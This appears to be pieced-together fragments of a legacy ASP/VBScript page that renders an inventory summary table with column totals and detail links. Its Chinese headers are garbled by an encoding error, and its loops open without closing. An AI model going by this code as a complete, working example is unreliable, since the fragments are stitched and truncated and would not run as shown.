<td height="20" width="80" bgcolor="#DDDDDD" align="center">��棤</td>
		  <td height="20" width="80" bgcolor="#DDDDDD" align="center">��;��</td>
		  <td height="20" width="80" bgcolor="#DDDDDD" align="center">�ϼƣ�</td>
	  </tr>
      <% 
'	HJ3=0 : HJ4=0 : HJ5=0 : HJ6=0 : HJ7=0 : HJ8=0
	for i=2 to 16
		HJ(i)=0
	next
	for i=0 to 1000
		if len(DL(i,1))>0 then
			for j=2 to 16
				HJ(j)=Round((HJ(j)*1+DL(i,j)*1),2)
				if DL(i,j)<>0 then
					DL(i,j)=Adddot(DL(i,j))
				else
					DL(i,j)=""
				end if
			next
	%>
			<tr>
				<% if len(DL(i,16))>0 then %>
				<td height="20" width="40" bgcolor="#DDDDDD" align="center">
				</td>
				<% else %>
				<td height="20" width="40" bgcolor="#DDDDDD" align="center">
	            <input type="submit" value="��ѯ" name="<%="T"& i %>"><br>
				</td>
				<% end if %>
				<td height="20" width="40" align="center"><a target="_blank" href="02_storeMX.asp?ID=<%=DL(i,0) %>"><%=DL(i,0)%></a></td>
				<td height="20" width="200" align="left"><%=DL(i,1)%></td>

<td height="20" width="80" bgcolor="#DDDDDD" align="center">��棤</td>
		  <td height="20" width="80" bgcolor="#DDDDDD" align="center">��;��</td>
		  <td height="20" width="80" bgcolor="#DDDDDD" align="center">�ϼƣ�</td>
	  </tr>
      <% 
	for i=0 to JYZB_JS-1
		for j=2 to 16
			if ZBTJ(i,j)<>0 then
				ZBTJ(i,j)=Adddot(ZBTJ(i,j))
			else
				ZBTJ(i,j)=""
			end if
		next
	%>
			<tr>
				<td height="20" width="280" bgcolor="#DDDDDD" align="left" colspan="3"><%=ZBTJ(i,1)%></td>

</html>